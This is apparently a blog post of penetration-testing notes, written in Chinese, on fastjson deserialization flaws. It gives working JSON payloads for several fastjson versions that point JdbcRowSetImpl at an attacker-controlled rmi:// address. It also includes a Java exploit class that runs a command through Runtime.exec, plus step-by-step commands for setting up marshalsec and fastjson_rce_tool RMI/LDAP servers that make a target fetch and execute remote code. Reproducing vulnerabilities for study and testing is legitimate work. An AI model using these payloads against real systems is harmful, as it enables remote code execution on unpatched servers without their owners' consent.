1. 程式人生 > >fastjsion反序列化漏洞滲透測試筆記

fastjsion反序列化漏洞滲透測試筆記

本文原創地址:https://www.cnblogs.com/yunmuq/p/14268028.html

## 一、背景 fastjsion是阿里的開源Java工具:https://github.com/alibaba/fastjson 能快速地將物件序列化為json字串,或進行反序列化 其速度和效率在同類型工具中遙遙領先,但曾被曝出存在高危漏洞 漏洞主要分佈於1.2.68及以下的版本中,在將json反序列化為物件時,存在程式碼執行漏洞 如果一些專案未更新到最新版本,則存在安全漏洞

## 二、Payload

### 2.1 版本<1.2.25 ``` { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true } ```

### 2.1 版本<1.2.48 ``` { "x":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "x":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://ip:port/Exploit", "autoCommit":true } } ```

### 2.1 版本<1.2.68 1.2.47都是18年釋出的版本了,上述兩個payload是廣為流傳的版本,都是利用RMI、LDAP進行遠端命令執行(RCE) 而1.2.68是20年新發布的版本,它修復了今年被爆出的安全漏洞 在1.2.68之前的版本,fastjson被發現還能利用異常進行攻擊 但是利用難度較大,作者暫時沒有找到好的利用鏈 目前發現的方法是 https://blog.csdn.net/caiqiiqi/article/details/106050079 ``` { "content":{"$ref":"$x.systemInformation"}, "x": {"@type":"java.lang.Exception","@type":"org.openqa.selenium.WebDriverException"} } ``` \#前提是需要WEB應用的classpath存在selenium-api

## 三、漏洞復現

### 3.1 搭建fastjson專案 想要復現漏洞最關鍵的要素是JDK版本,編譯執行fastjson專案的jdk建議是 JDK8,作者使用 jdk-11.0.9 沒成功,使用 jdk1.8.0_112 成功了 簡單的驗證很簡單,無需spring專案和Tomcat,建立最簡單的Java專案即可 覺得不想安裝maven的,或覺得maven更改版本麻煩的,可以從maven中央庫下載fastjson的jar包,並添設定專案屬性加到依賴中,這裡的版本最齊全:https://repo1.maven.org/maven2/com/alibaba/fastjson/ 阿里雲的映象無法從瀏覽器訪問,如果安裝了maven可以使用maven專案 實現程式碼雖然不長,但是影響閱讀,我放另一個頁面中吧 >
>>實現程式碼 準備好RMI、LDAP服務再執行

### 3.2 RMI、LDAP服務搭建 簡單地說一下原理,作者自己也不是十分了解 當fastjson可以反序列化一些類時,怎麼讓伺服器執行自己想要的程式碼呢 這就需要尋找一個利用鏈,com.sun.rowset.JdbcRowSetImpl的好處是,他是Java官方的類庫 其中的lookup方法支援呼叫遠端介面,我們把想要執行的程式碼放在遠端介面中,觸發伺服器來呼叫即可 在前人已經為我們尋找好利用鏈之後,剩下的一步是搭建RMI、LDAP服務,自己寫程式碼是比較困難的,好在這一步也有工具可用

#### 3.2.1 使用marshalsec 不推薦,但是在網路上流傳甚廣,這裡也介紹一下 雖然免去寫程式碼就能搭建RMI、LDAP伺服器,但是需要安裝python來提供http服務、需要maven來編譯此工具,且編譯的jdk版本需要在1.8.0_112及以下 這是專案地址:https://github.com/mbechler/marshalsec 遠端呼叫的過程是,伺服器通過RMI、LDAP訪問我們的主機,我們的主機再轉發到一個http埠上,把事先編譯好的.class檔案給伺服器執行即可 具體步驟是:①在一個資料夾下編譯 ``` import java.lang.Runtime; import java.lang.Process; public class Exp { public Exp() { try{ // 要執行的命令 String commands = "calc"; Process pc = Runtime.getRuntime().exec(commands); pc.waitFor(); } catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv) { Exp e = new Exp(); } } ``` ②使用 `python -m http.server 80` 在此資料夾下開啟一個http服務 ③使用 `java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip/#Exp` 執行RMIRefServer ④payload中的地址則是 ``rmi://ip` ,rmi預設埠是1099,http預設埠是80

#### 3.2.2 使用fastjson_rce_tool 強烈推薦 相比marshalsec優點在於,不用編譯,無需自己編寫利用類Exploit,無需自己開啟http服務,最重要的是不受JDK限制,使用JDK11也可 專案地址:https://github.com/wyzxxz/fastjson_rce_tool 使用方法:`java -cp fastjson_tool.jar fastjson.HRMIServer IP port " 想要執行的命令 "` 命令列會給出payload 不足是,當執行fastjson的Java版本是jdk11時,這邊能收到伺服器遠端呼叫的請求,命令卻無法被執行

本文參考文章: https://zhuanlan.zhihu.com/p/157211675 https://www.cnblogs.com/sijidou/p/13121332.html

(๑•̀ㅂ•́)و✧ 往期精彩文章推薦:

《zookeeper未授權訪問滲透測試及修復方法》 《安裝nginx並安全地配置和啟動